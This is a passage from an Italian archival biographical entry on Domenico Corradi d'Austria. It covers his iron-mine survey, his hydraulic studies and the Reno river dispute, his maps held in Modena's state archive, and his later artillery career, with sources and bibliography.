Dal 1701 ebbe l’incarico di soprintendente alle miniere di ferro di Forno Volasco, in Garfagnana: la permanenza sul posto lo convinse della scarsa qualità del ferro garfagnino, soprattutto rispetto a quello dell’Elba, cosicché sconsigliò lo sfruttamento di quelle miniere. Studiò poi nuove tecniche di fusione del ferro, si interessò della produzione di vetriolo ed espresse parere favorevole al mantenimento e alla tutela della copertura boschiva appenninica per favorire la produzione di carbone. Compì, come il padre, studi nel campo dell’artiglieria, sui materiali da impiegarsi nella costruzione di cannoni e sulla polvere da sparo. Non trascurò tuttavia altri studi, come quelli relativi a rilevazioni pluviometriche - tra le prime in Italia - a Modena e in Garfagnana e a rilevazioni idrostatiche.
A partire dal 1716 si dedicò con grande impegno a studi di carattere idraulico allo scopo di risolvere la questione della foce del Reno e dei torrenti della Romagna che allagavano le terre comprese fra la Bassa bolognese, il Ferrarese a ovest del capoluogo e la Bassa romagnola. La soluzione proposta nel XVII secolo da Gian Domenico Cassini di far confluire il Reno nel Po fu aspramente contestata dal Corradi, sostenuto in questo da B. Zendrini. Il Corradi sostenne con forza l’ipotesi di una deviazione del corso del Reno verso l’Adriatico in un’opera articolata e complessa dal titolo Effetti dannosi che produrrà il Reno se sia messo in Po di Lombardia, pubblicata a Modena nel 1717. Vi si sostiene che se venisse dato corso alla proposta del Cassini gli effetti su tutta la pianura padana sarebbero disastrosi, poiché le torbide del Reno finirebbero per interrare l’alveo del Po, limitando la navigazione, ma soprattutto producendo estesi allagamenti e la formazione di paludi. La proposta del Corradi è invece di far confluire le acque del Reno nel Po di Primaro. La diffusione dello studio del Corradi diede origine a una lunga diatriba con gli ingegneri idraulici bolognesi e soprattutto con Eustachio Manfredi che, attraverso diverse pubblicazioni tentarono di dimostrare che il Reno era stato nel passato tributario del Po, senza produrre danni. La disputa, originata dai divergenti interessi degli Stati gravitanti nell’area, produsse comunque una serie di importanti studi sui corsi d’acqua della porzione di pianura compresa fra il Modenese, il Bolognese, il Ferrarese e la Romagna. Collegata ai rilevamenti e agli studi di argomento idraulico del Corradi, che ebbe come allievo e collaboratore Domenico Vandelli e fu in contatto con Ludovico Antonio Muratori, è un’ampia produzione cartografica relativa a diversi tratti del corso del Po e dei suoi affluenti, nel settore più orientale della pianura emiliano-romagnola. Questa cartografia di argomenti idraulico è prevalentemente conservata nell’Archivio di Stato di Modena, in particolare nei fondi Cancelleria Ducale. Confini dello Stato e Mappario Estense. Acque.
Successivamente la carriera del Corradi si esplicò soprattutto in ambito militare. Divenuto prima colonnello, poi generale di un reggimento di cannonieri, partecipò nel 1742 alla difesa di Modena contro gli Austriaci e divenne commissario generale delle munizioni da guerra dello Stato estense.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A.S.Mo., Cancelleria Ducale. Confini dello Stato, buste 77, 119,120, 126, 141, 144, 145, 168; A.S.Mo., Mappario Estense. Acque.

A. DE FERRARI, voce Corradi d’Austra Domenico, in Dizionario Biografico degli Italiani, vol. 29, Roma, Istituto dell’Enciclopedia Italiana, 1983.

Rimandi ad altre schede:

Autore della scheda: Laura Federzoni